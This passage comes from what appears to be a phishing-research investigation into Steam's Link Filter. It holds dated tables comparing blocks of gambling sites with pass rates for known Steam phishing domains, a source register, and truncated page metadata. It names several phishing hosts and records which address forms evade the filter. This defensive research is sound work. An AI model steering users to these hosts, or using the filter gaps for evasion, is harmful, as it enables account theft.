Filter’s character is a man-in-the-middle layer on every link Steam users exchange: Steam intercepts the destination, renders its own warning page, and decides whether to hand the user onward. The same interception Valve once needed bots for, repackaged as a “safety” feature whose block list Valve controls.\n\nRead the embedded-browser and authentication-route investigation ↗\n\nCSGOROLL.COM / SAVED RESPONSE\n\n“Notice: You are leaving Steam.”\n“Continue to external site”\n\nThe returned page includes an onward link.\n\nOpen this Steam check ↗\n\nSKINPORT.COM / SAVED RESPONSE\n\n“Link Blocked!”\nNO CONTINUE LINK\n\nThe returned page withholds the onward link.\n\nOpen this Steam check ↗\nCAPTURED 10 OCT 2026 · 19:02–19:03 UTC / WWW CHECK 20:27 UTC\n\nPublic HTTPS responses, without a signed-in Steam session.\n\nSaved Steam Link Filter responses for the supplied addresses\nAddress submitted\tObserved response\tContinue link\tOriginal URL\ncsgoroll.com ↗\tContinue link present\tYes\tSteam response ↗\nwww.csgoroll.com ↗\tContinue link present\tYes\tSteam response ↗\ncsgoempire.com ↗\tContinue link present\tYes\tSteam response ↗\nhellcase.com ↗\tContinue link present\tYes\tSteam response ↗\ncsgostrong.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgo500.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgocosmos.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgocasino.net ↗\tLink Blocked\tNo\tSteam response ↗\ncsgo2x.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgohouse.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgoatse.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgocash.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgobig.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgomassive.com ↗\tLink Blocked\tNo\tSteam response ↗\nskins2.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgopot.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgowild.com ↗\tLink Blocked\tNo\tSteam response ↗\nskinport.com ↗\tLink Blocked\tNo\tSteam response ↗\ngamdom.com ↗\tLink Blocked\tNo\tSteam response ↗\ncsgofast.hk ↗Supplied test address\tLink Blocked\tNo\tSteam response ↗\n\nShowing all 20 recorded responses.\n\nAll 20 returned HTTP 200. The classification above comes from the page heading and the presence or absence of an actual continue anchor. Links open the current Steam response; the downloadable record preserves the dated observations.\n\nDownload the checks and timestamps ↗\nTHE ENFORCEMENT QUESTION\n\nThe filter can withhold a destination link. For these three sites it supplied one.\nWhat rule explains that dividing line?\n\n26\nTHE WIDER ROUTE REGISTER\nA blocked homepage. An available login route.\n\nThe Steam Dossier’s September register follows 26 filter-split pairs from the main domain to a separate Steam authentication host.\n\n↗\n\nTHE ADDRESS-STRING TEST\n\nWhat does the filter react to?\n\nWe also submitted the csgofast name in five literal forms. Steam blocked the bare host, the .com and .hk forms, and a subdomain under example.com. The same text in the query-string example received an ordinary notice. [E36]\n\nThe filter’s own character is undocumented: Steam has never documented how the Link Filter decides. It appeared around 2016, without announcement, and its block list is not published. The only way to test the enforcement layer Valve actually ships is to submit addresses and record the answers — which is what this register does.\n\nFive literal address inputs and saved Steam responses\nLiteral target submitted\tSaved result\nhttps://csgofast ↗\tLink Blocked\nhttps://csgofast.com ↗\tLink Blocked\nhttps://csgofast.hk ↗\tLink Blocked\nhttps://example.com/?name=csgofast ↗\tContinue link present\nhttps://csgofast.example.com ↗\tLink Blocked\n\n10 October 2026 · 19:09–19:10 UTC. The displayed links preserve the exact literal requests used for this comparison.\n\nDownload this five-input check ↗\n\nTHE PHISHING AUDIT / 120 DOMAINS · 24 SEPTEMBER 2026\n\nThe filter reads the gambling list fluently. It has never ingested a phishing feed.\n\nThe parent dossier submitted 120 confirmed Steam-specific phishing domains to Valve’s own Link Filter in three historical cohorts, tested live on 24 September 2026. On the desktop, external defenses such as Google Safe Browsing and Microsoft SmartScreen intercept known phishing with full-screen warnings; inside Steam’s embedded browser — Big Picture, the in-game overlay, the Steam Deck — those defenses do not exist, and the Link Filter is the one barrier left. [E13] [E46] [E47]\n\nTargeted Steam sample: the 120 hosts in these three cohorts were selected for Steam phishing through favicon searches and checks for copied Steam sign-in or home-page interfaces. This deliberate selection is separate from the mixed public-list checks below.\n\n120 confirmed Steam-phishing domains, three cohorts, one filter\nCohort\tWhat was submitted\tPassed clean\n2021–2022\nlegacy phishing\tClassic trade-offer and item-drop campaigns. Even 4 to 5 years after being cataloged by community watchdogs, seven in ten of these hosts still open with no block.\t70.0% (28/40)\n2023–2024\nCS2-era phishing\tCampaigns impersonating Counter-Strike 2 releases and fake community appeals — cs2-steam.com, appealsteamcommunity.help — pass straight through.\t77.5% (31/40)\n2025–2026\nedge phishing\tServerless edge deploys and favicon clones on EdgeOne, Vercel and Cloudflare Pages — steamgifter.online and its kin — pass virtually unobstructed.\t92.5% (37/40)\nGambling mains\npositive control\tThe control every phishing audit needs: the filter’s own category.\t7 / 7 blocked\n\nAdditional public-list checks · 6 October 2026\n\n1,088,753 distinct hosts\n\nAdditional analysis of public lists: we did not find a suitable Steam-only public list for a larger census, so we checked lists we considered relevant. None is exclusively Steam scams or phishing; their results are reported separately.\n\nSteam Link Filter responses · percentage of all hosts in each list\nList\tTested hosts\tBlocked\tBlocked %\tOrdinary notice\nSteam / Discord feeds\t36,724\t1,759\t4.79%\t34,965\nPhishDestroy · community + main list\t1,086,734\t4,010\t0.37%\t1,082,629\n\nScroll horizontally to compare the results.\n\nWhy these lists?\n\nSteam / Discord feeds. DevSpen and Discord-AntiScam cover gaming-account phishing and related scams. They are close to the Steam ecosystem, but the combined list is not exclusively Steam phishing. DevSpen · Discord-AntiScam.\nPhishDestroy · community + main list. Our PhishDestroy community and main lists test broader phishing and scam coverage, including crypto. The supplied results also contain blocked crypto-themed hosts, such as app-metamask-kyc-auth.com, app-trezor-auth.com, so this is a relevant additional check, not a Steam-only sample. PhishDestroy destroylist.\n\nThe two runs contain 1,123,458 host records, with 34,705 hosts in both lists: 1,088,753 distinct hosts after deduplication. We do not pool their block rates.\n\nMethod & verification\n\nBlocked % = BLOCKED ÷ all tested hosts in that row. The PhishDestroy run also has 78 ERROR, 15 UNKNOWN and 2 INTERNAL results; these 95 are included in the denominator, not counted as ordinary notices. The Steam / Discord run has no residual statuses.\n\nALLOWED means the ordinary “You are leaving Steam” notice was recorded, not that the destination is safe. These dated results measure the supplied lists; they do not establish that every site was still active or how Valve maintains its filter.\n\nMethodology · English · TXT\n\nRecounted results · JSONIndividual files & signatures · English\n\nThe filter’s one demonstrated fluency is the gambling list. Independent threat-intelligence platforms surface live Steam phishing kits in seconds by searching for Steam’s official favicon hash; Valve does not sync with external feeds, does not run hash-based threat hunting, and manually intervenes when compelled by regulators — the 2016 WSGC gambling order — or to protect its trademarked domain strings. The filter reads the gambling list fluently; it has never ingested a phishing feed. [E13]\n\nTELEMETRY,\nNOT PROTECTION\n\nA layer that passes 92.5% of live 2025–2026 phishing hosts is not a shield.\nIt presents a polite “You are leaving Steam” notice with a clickable proceed button, shifts the blame onto the click, and collects the telemetry of the click — while the theft passes through.\n\nRead the 120-domain longitudinal phishing audit ↗\n04\n\nTHE PUBLIC RECORD\n\nInspect the evidence.\n28 RECORDS\n\nSources cited in this article appear first. Select “All records” to inspect the complete 107-record register shared by the investigation; the dedicated evidence files retain their own detailed registers.\n\nMethodology & source notes\n\nResearch date: 10 October 2026. The credential comparison separates user API keys, publisher keys and session JWTs. Historical workflows retain their dates; the supplied JWT fields are transcribed with identifiers redacted. The package-specific checks continue in the extension audit and the three-operator comparison.\n\nThe Link Filter records preserve literal request URLs, timestamps, observed headings and continue links. Diagrams illustrate the documented paths; they do not execute account operations. The public-response and ownership analysis remains in Valve and enforcement.\n\nOriginal research scope · 10 October 2026\n\nResearch date: 10 October 2026. This investigation compares the platform’s public policies and dated technical records with Valve’s public statement, Steam’s agreement, account-restriction rules and the filed New York complaint. The supplied RWT warning is reproduced without alteration.\n\nTechnical changes are presented on a dated timeline. The Link Filter exhibits preserve literal request URLs, timestamps and observed headings and continue links. The JWT exhibit transcribes the supplied decoded fields with identifiers redacted. The interactive diagrams explain the documented control relationships. The legal-response analysis places Valve’s public framing beside the complaint and the documented control of accounts and items.\n\nThe analysis follows the economic mechanism: who supplies the credential, assigns value, verifies delivery, credits the balance, sets transfer conditions, enforces account restrictions and receives fees. Related findings link directly to the Steam Dossier’s underlying records.\n\nCited source records\nE09 · Steam Subscriber Agreement\n\nPublisher: Valve\n\nDate: Live agreement\n\nSupports: Valve’s licence grant, the absence of ownership interest in marketplace subscriptions, and Steam Wallet restrictions.\n\nScope: Relevant clauses: §1.C (personal account), §2.A/2.G (licence and commercial use), §3.C/3.D (Wallet and marketplace), §4.D and §9.C (enforcement).\n\nhttps://store.steampowered.com/agreement/?l=english\nE16 · Authentication using Web API Keys\n\nPublisher: Valve / Steamworks\n\nDate: Live documentation\n\nSupports: User-key registration and publisher keys with app associations, permission groups and configurable IP restrictions.\n\nScope: Sections: User Keys, Publisher Keys and Creating a Publisher Web API Key.\n\nhttps://partner.steamgames.com/doc/webapi_overview/auth\nE04 · WebAPI P2P Solution\n\nPublisher: CSGORoll\n\nDate: 10 Apr 2024\n\nSupports: A dated account of token collection for monitoring trades, including session dependence and expiration.\n\nScope: Technical record dated 10 April 2024; the subsequent workflow changes appear in E05–E07.\n\nhttps://www.csgoroll.com/blog/steam-p2p-solution/\nE05 · WebAPI Trading Extension\n\nPublisher: CSGORoll\n\nDate: 25 Jun 2024\n\nSupports: The announcement says the extension automatically collects and refreshes the Steam WebAPI token and transmits it to the operator’s servers.\n\nScope: The token collection, refresh and server-transmission workflow announced on 25 June 2024.\n\nhttps://www.csgoroll.com/blog/csgoroll-trading-extension/\nE17 · Decoded JWT fields — redacted transcription\n\nPublisher: Author-supplied notes\n\nDate: Supplied with this investigation\n\nSupports: Declared JWT type, EdDSA algorithm, Steam account subject, web:community audience and supplied timestamp and IP-related field names.\n\nScope: Field transcription with account and IP identifiers redacted. Signature bytes were not supplied.\n\nhttps://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json\nE44 · IEconService — trade history and offer records\n\nPublisher: Valve / Steamworks\n\nDate: Live documentation\n\nSupports: GetTradeHistory, GetTradeOffers and GetTradeOffer as concrete examples of account-economy methods.\n\nScope: Method reference used to explain what a trading API exposes.\n\nhttps://partner.steamgames.com/doc/webapi/IEconService\nE45 · ISteamUserAuth — publisher ticket authentication\n\nPublisher: Valve / Steamworks\n\nDate: Live documentation\n\nSupports: AuthenticateUserTicket on the publisher host, its publisher key, application ID and ticket parameters.\n\nScope: A concrete example of the publisher-server access relationship.\n\nhttps://partner.steamgames.com/doc/webapi/ISteamUserAuth\nE43 · Web API Overview — public and publisher hosts\n\nPublisher: Valve / Steamworks\n\nDate: Live documentation\n\nSupports: HTTP method structure, public and authenticated operations, publisher host requirements and access configuration.\n\nScope: The host and request layer underlying the credential comparison.\n\nhttps://partner.steamgames.com/doc/webapi_overview\nE23 · Steamworks API Overview — native game integration\n\nPublisher: Valve / Steamworks\n\nDate: Live documentation\n\nSupports: The native Steamworks SDK, C++ interfaces, libraries, initialization and game feature integration.\n\nScope: The game-integration layer contrasted with the HTTP Web API and its account credentials.\n\nhttps://partner.steamgames.com/doc/sdk/api\nE07 · Trade Protection Update\n\nPublisher: CSGORoll\n\nDate: 16 Jul 2025\n\nSupports: Coin-release timing during the seven-day protection window, tier-dependent instant access and consequences for reversals.\n\nScope: The coin-release mechanism described on 16 July 2025; tiers and limits are adjustable under that policy.\n\nhttps://www.csgoroll.com/blog/trade-protection-update/\nE13 · The Steam Dossier — rules, routes and accountability\n\nPublisher: PhishDestroy\n\nDate: Related investigation\n\nSupports: The parent investigation supplies the historical registration and consent exhibits, transfer-substitution sequence, route register, ownership and recovery records, and correspondence used by this companion investigation.\n\nScope: The parent PhishDestroy investigation; linked as the wider editorial and infrastructure context.\n\nhttps://phishdestroy.io/steam_dossier/\nE34 · Steam Web API Documentation\n\nPublisher: Valve / Steam Community\n\nDate: Public developer documentation\n\nSupports: Website-developer use of Steam data, user-key registration and the Steam OpenID identity mechanism.\n\nScope: The public web-service documentation linked to Steam Community account-key registration.\n\nhttps://steamcommunity.com/dev?l=en\nE28 · Release notes — inventory visibility\n\nPublisher: Valve / Counter-Strike\n\nDate: 2 Apr 2024\n\nSupports: Purchased and traded Counter-Strike items made invisible for ten days to other users viewing a Steam inventory.\n\nScope: Dated official release-note archive, entry for 2 April 2024.\n\nhttps://store.steampowered.com/news/posts/?appids=730&enddate=1714088148&feed=steam_community_announcements\nE06 · New Escrow, Dispute and Penalty Systems for Trades\n\nPublisher: CSGORoll\n\nDate: 01 Oct 2024\n\nSupports: Platform-defined manual completion after ten minutes, disputes, escalating penalties and inventory-based verification; a token-free route was described for certain skins.\n\nScope: Dated record of the manual verification, dispute and penalty workflow introduced in October 2024.\n\nhttps://www.csgoroll.com/blog/new-trading-system/\nE08 · In-Game Item Trading Update\n\nPublisher: Valve\n\nDate: 13 Jul 2016\n\nSupports: Valve’s account of identity verification and automated trading used by gambling services, its stated prohibition and its denial of business relationships with those sites.\n\nScope: Valve’s public statement from July 2016, retained here as a historical infrastructure record.\n\nhttps://store.steampowered.com/oldnews/22883\nE11 · RFC 7519 — JSON Web Token\n\nPublisher: IETF / RFC Editor\n\nDate: May 2015\n\nSupports: JWT represents claims in a token format. A service uses its own verification and authorisation rules when accepting the token.\n\nScope: Technical definition of the JWT format; endpoint permissions are determined by the receiving service.\n\nhttps://www.rfc-editor.org/rfc/rfc7519\nE25 · RFC 8037 — EdDSA in JOSE\n\nPublisher: IETF / RFC Editor\n\nDate: Jan 2017\n\nSupports: The EdDSA algorithm identifier used for signatures in the JOSE framework.\n\nScope: Section 3.1; relevant to the declared alg value in the supplied header.\n\nhttps://www.rfc-editor.org/rfc/rfc8037\nE24 · RFC 7515 — JSON Web Signature\n\nPublisher: IETF / RFC Editor\n\nDate: May 2015\n\nSupports: Compact signed-token structure, encoded header and payload, signature input and verification.\n\nScope: Sections 3.1 and 5 describe compact serialization and signing/validation.\n\nhttps://www.rfc-editor.org/rfc/rfc7515\nE33 · Steam Web API Terms of Use\n\nPublisher: Valve\n\nDate: Page marked last updated July 2010\n\nSupports: The established API-key signup framework, applications and websites, confidentiality obligations and Valve’s access controls.\n\nScope: The terms describe the account-key service and the API access relationship.\n\nhttps://steamcommunity.com/dev/apiterms\nE48 · How FloatDB Tracks Skins — the original-ID endpoint and its closure\n\nPublisher: CSFloat engineering\n\nDate: 3 Jul 2020\n\nSupports: The former original-ID field, closure of its endpoint in 2017 and the replacement matching approach using float, seed and paint properties.\n\nScope: Firsthand technical history of item tracking and its limitations.\n\nhttps://blog.csfloat.com/how-floatdb-tracks-items/\nE38 · People of New York v. Valve Corporation — filed complaint\n\nPublisher: New York Attorney General / NYSCEF\n\nDate: 25 Feb 2026\n\nSupports: Court, filing date, index 450952/2026, allegations, statutory bases and requested remedies.\n\nScope: NYSCEF document 2; 52-page court-stamped complaint. Requested relief appears on PDF pages 50–51.\n\nhttps://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf\nE41 · Steam Online Conduct — commercial activity\n\nPublisher: Valve\n\nDate: Live rules\n\nSupports: Gambling is explicitly included under the commercial-activity prohibition.\n\nScope: Read beside the account-enforcement record and Valve’s public transferability language.\n\nhttps://store.steampowered.com/online_conduct/\nE14 · About the New York Attorney General lawsuit against Valve\n\nPublisher: Valve\n\nDate: 11 Mar 2026\n\nSupports: The public collectibles comparison, optional and cosmetic framing, transferability argument, account-ban total, privacy objections and legislative position.\n\nScope: Corporate public response dated 11 March 2026; linked alongside the filed complaint and the investigation’s analysis.\n\nhttps://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5\nE19 · October 2016 response to the Washington State Gambling Commission\n\nPublisher: Valve / legal correspondence\n\nDate: October 2016\n\nSupports: Valve’s explanation of Steam trading, OpenID, notices to more than forty sites and account-level enforcement.\n\nScope: Public document copy linked by the Steam Dossier; the letter itself is dated 17 October 2016.\n\nhttps://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist\nE18 · Link Filter — 20-URL observation record\n\nPublisher: PhishDestroy / public Steam responses\n\nDate: 10 Oct 2026 · 19:02–19:03 / 20:27 UTC\n\nSupports: Four ordinary notices with continue anchors and sixteen hard blocks for the exact supplied wrapper URLs, including both CSGORoll hostname variants.\n\nScope: Unauthenticated HTTPS requests; classification by returned page heading and continue-anchor presence. Exact URLs and timestamps preserved.\n\nhttps://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-2026-10-10.json\nE46 · Introducing Big Picture — the built-in web browser\n\nPublisher: Valve\n\nDate: Original product presentation\n\nSupports: Valve’s presentation of web browsing within the original Big Picture interface.\n\nScope: Historical product presentation, used to identify the browser surface discussed in the submitted notes.\n\nhttps://store.steampowered.com/bigpicture/\nE47 · Exploiting Steam: Usual and Unusual Ways in the CEF Framework\n\nPublisher: DARKNAVY\n\nDate: 27 Jun 2024\n\nSupports: Firsthand technical description of steamwebhelper and its Chromium Embedded Framework architecture.\n\nScope: Documents Steam’s embedded Chromium architecture and its exploitation history, dated June 2024. The shipped configuration, patch cadence and present protection of steamwebhelper are part of the record requested from Valve.\n\nhttps://www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/\nE36 · Link Filter — literal-address comparison\n\nPublisher: PhishDestroy / public Steam responses\n\nDate: 10 Oct 2026 · 19:09–19:10 UTC\n\nSupports: Returned headings and continue anchors for five literal csgofast-related address probes.\n\nScope: Exact request strings and responses are preserved, including separate percent-encoded request results.\n\nhttps://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-pattern-2026-10-10.json",
        "headings": [
          {
            "level": 1,
            "text": "Their credentials. Their infrastructure.",
            "anchor": "pd-steam-access--hero-title",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#hero-title"
          },
          {
            "level": 2,
            "text": "Three credentials in the trading system",
            "anchor": "pd-steam-access--access-title",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#access-title"
          },
          {
            "level": 3,
            "text": "User key. Publisher key. Session JWT.",
            "anchor": "pd-steam-access--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#credentials"
          },
          {
            "level": 3,
            "text": "Congratulations. The player is now the integration.",
            "anchor": "pd-steam-access--credential-courier-title",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#credential-courier-title"
          },
          {
            "level": 4,
            "text": "Applications. Permissions. IP restrictions.",
            "anchor": "pd-steam-access--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#credential-courier"
          },
          {
            "level": 4,
            "text": "Copy this. Hand it over. Repeat.",
            "anchor": "pd-steam-access--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#credential-courier"
          },
          {
            "level": 3,
            "text": "The standards were public. The dates are the record.",
            "anchor": "pd-steam-access--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#standards-lag"
          },
          {
            "level": 3,
            "text": "An API is an interface. Access comes from a credential.",
            "anchor": "pd-steam-access--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#access"
          },
          {
            "level": 3,
            "text": "Steam restricts inventory visibility",
            "anchor": "pd-steam-access--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#access"
          },
          {
            "level": 3,
            "text": "Monitoring through a user’s token",
            "anchor": "pd-steam-access--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#access"
          },
          {
            "level": 3,
            "text": "The extension supplies the server",
            "anchor": "pd-steam-access--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#access"
          },
          {
            "level": 3,
            "text": "The method changes. Control stays.",
            "anchor": "pd-steam-access--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#access"
          },
          {
            "level": 3,
            "text": "Identity. Monitoring. Settlement.",
            "anchor": "pd-steam-access--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#access"
          },
          {
            "level": 3,
            "text": "Read the credential behind the label.",
            "anchor": "pd-steam-access--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#jwt-exhibit"
          },
          {
            "level": 3,
            "text": "Identity, time and issuer-defined context.",
            "anchor": "pd-steam-access--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#jwt-fields"
          },
          {
            "level": 4,
            "text": "What kind of object is this?",
            "anchor": "pd-steam-access--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#jwt-panel-header"
          },
          {
            "level": 4,
            "text": "Whose session context travels with it?",
            "anchor": "pd-steam-access--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#jwt-panel-payload"
          },
          {
            "level": 4,
            "text": "Readable claims, verifiable integrity.",
            "anchor": "pd-steam-access--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#jwt-panel-signature"
          },
          {
            "level": 4,
            "text": "The credential starts in the user’s Steam session.",
            "anchor": "pd-steam-access--token-stage-title",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#token-stage-title"
          },
          {
            "level": 4,
            "text": "A short-lived token can support an ongoing commercial connection.",
            "anchor": "pd-steam-access--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#token-continuity"
          },
          {
            "level": 4,
            "text": "Follow the session credential into the extension.",
            "anchor": "pd-steam-access--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#extension-code-audit"
          },
          {
            "level": 3,
            "text": "The victim never visits the key page.",
            "anchor": "pd-steam-access--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#hijack-walkthrough"
          },
          {
            "level": 4,
            "text": "The key is registered by a script.",
            "anchor": "pd-steam-access--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#hijack-walkthrough"
          },
          {
            "level": 4,
            "text": "The legitimate trade is cancelled and cloned.",
            "anchor": "pd-steam-access--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#hijack-walkthrough"
          },
          {
            "level": 4,
            "text": "The confirmation is genuine. The offer is not.",
            "anchor": "pd-steam-access--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#hijack-walkthrough"
          },
          {
            "level": 4,
            "text": "The abuse mechanisms returned more than once. Publish the trail per mechanism.",
            "anchor": "pd-steam-access--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#reappearance-demand"
          },
          {
            "level": 4,
            "text": "The original-ID tracking route was removed.",
            "anchor": "pd-steam-access--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#public-tracing"
          },
          {
            "level": 3,
            "text": "Follow what each step gives the platform.",
            "anchor": "pd-steam-access--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#access-paths"
          },
          {
            "level": 3,
            "text": "Trade tracking. Session access.",
            "anchor": "pd-steam-access--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#session-access-update"
          },
          {
            "level": 2,
            "text": "Valve supplies the rails.",
            "anchor": "pd-steam-access--valve-title",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#valve-title"
          },
          {
            "level": 3,
            "text": "The mechanism was already named.",
            "anchor": "pd-steam-access--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#valve"
          },
          {
            "level": 3,
            "text": "Their rules. Their system.",
            "anchor": "pd-steam-access--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#valve"
          },
          {
            "level": 4,
            "text": "Documentation does not give the community control.",
            "anchor": "pd-steam-access--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#platform-governance"
          },
          {
            "level": 3,
            "text": "The right being defended runs through the system being restricted.",
            "anchor": "pd-steam-access--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#transferability-record"
          },
          {
            "level": 4,
            "text": "The real-money boundary",
            "anchor": "pd-steam-access--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#transferability-record"
          },
          {
            "level": 4,
            "text": "The commercial-use boundary",
            "anchor": "pd-steam-access--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#transferability-record"
          },
          {
            "level": 4,
            "text": "The transferability defence",
            "anchor": "pd-steam-access--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#transferability-record"
          },
          {
            "level": 3,
            "text": "Forty notices. Account-level enforcement.",
            "anchor": "pd-steam-access--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#wsgc-october-2016"
          },
          {
            "level": 2,
            "text": "Same filter. Different treatment.",
            "anchor": "pd-steam-access--link-filter-title",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#link-filter-title"
          },
          {
            "level": 3,
            "text": "“Notice: You are leaving Steam.”",
            "anchor": "pd-steam-access--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#link-filter"
          },
          {
            "level": 3,
            "text": "“Link Blocked!”",
            "anchor": "pd-steam-access--heading-41",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#link-filter"
          },
          {
            "level": 3,
            "text": "A blocked homepage. An available login route.",
            "anchor": "pd-steam-access--heading-42",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#link-filter"
          },
          {
            "level": 3,
            "text": "What does the filter react to?",
            "anchor": "pd-steam-access--heading-43",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#filter-pattern"
          },
          {
            "level": 3,
            "text": "The filter reads the gambling list fluently. It has never ingested a phishing feed.",
            "anchor": "pd-steam-access--heading-44",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#phishing-coverage"
          },
          {
            "level": 4,
            "text": "1,088,753 distinct hosts",
            "anchor": "pd-steam-access--linkfilter-expanded-title",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#linkfilter-expanded-title"
          },
          {
            "level": 2,
            "text": "Inspect the evidence.",
            "anchor": "pd-steam-access--sources-title",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#sources-title"
          },
          {
            "level": 2,
            "text": "Cited source records",
            "anchor": "pd-steam-access--cited-sources",
            "source_url": "https://phishdestroy.io/steam_dossier/steam-access#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/steam-access"
          },
          {
            "label": "Open the code audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/steam-access.html"
          },
          {
            "label": "[E09] §4.C",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E05]",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "Read the original key-security investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E17]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json"
          },
          {
            "label": "[E05]",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "SIH’s token-return handler: read the actual code ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#SC31"
          },
          {
            "label": "E16 · User-key documentation ↗",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "E16 · Publisher-key documentation ↗",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "E04 · CSGORoll’s token instructions ↗",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "steamcommunity.com/dev/apikey ↗",
            "url": "https://steamcommunity.com/dev/apikey"
          },
          {
            "label": "Steamworks → Users & Permissions → Manage Groups ↗",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "steamcommunity.com/pointssummary/ajaxgetasyncconfig ↗",
            "url": "https://steamcommunity.com/pointssummary/ajaxgetasyncconfig"
          },
          {
            "label": "[E44]",
            "url": "https://partner.steamgames.com/doc/webapi/IEconService"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E45]",
            "url": "https://partner.steamgames.com/doc/webapi/ISteamUserAuth"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "Read the key-security record ↗",
            "url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E17]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json"
          },
          {
            "label": "Registration and lifecycle evidence ↗",
            "url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E04]",
